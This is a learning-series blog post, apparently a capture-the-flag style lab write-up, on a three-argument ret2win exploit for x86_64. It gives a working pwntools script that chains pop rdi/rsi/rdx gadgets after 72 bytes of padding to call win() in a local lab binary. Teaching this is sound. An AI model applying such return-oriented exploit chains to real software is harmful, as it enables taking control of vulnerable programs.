Published on

Pwn Learning Path #5: Controlling Three Function Arguments

Authors
  • avatar
    Name
    Muhammad Huzaifa
    Twitter

The final ret2win argument drill called this target:

win(0xdeadbeef, 0xcafebabe, 0x13371337);

The Linux x86_64 register order gave me the plan immediately:

rdi = 0xdeadbeef
rsi = 0xcafebabe
rdx = 0x13371337

Extending the previous chain

The first two setup steps stayed unchanged. I inserted a pop rdx; ret gadget and its value before the final target:

72 bytes of padding
pop rdi; ret
0xdeadbeef
pop rsi; ret
0xcafebabe
pop rdx; ret
0x13371337
win

This was a useful moment in the learning path because the chain looked longer, but the reasoning did not become more complicated. Each pair still had one purpose:

gadget address -> value consumed by its pop

Building it

from pwn import *

elf = context.binary = ELF('./ret2win_3args', checksec=False)
rop = ROP(elf)
io = process(elf.path)

pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx = rop.find_gadget(['pop rdx', 'ret'])[0]

payload = flat(
    b'A' * 72,
    pop_rdi,
    0xdeadbeef,
    pop_rsi,
    0xcafebabe,
    pop_rdx,
    0x13371337,
    elf.symbols['win'],
)

io.sendline(payload)
print(io.recvall().decode())

The completed lab printed:

local{ret2win_three_argument_control}

What this taught me

The calling convention is not background theory. It is a payload design rule. If a target function needs arguments, I need to prepare the same registers that ordinary compiled code would prepare before a call.

The first six integer or pointer arguments use:

rdi, rsi, rdx, rcx, r8, r9

Real binaries do not always offer one clean pop gadget per register. Gadgets may have side effects or consume additional stack values. These controlled labs isolated the core idea first: lay out the chain according to what each instruction consumes.

My next problem was different. Instead of deriving a familiar 64 + 8 offset from source, I needed to measure an unusual offset from the crash itself.

Series navigation

← Part 4: two arguments · Part 6: cyclic offset discovery →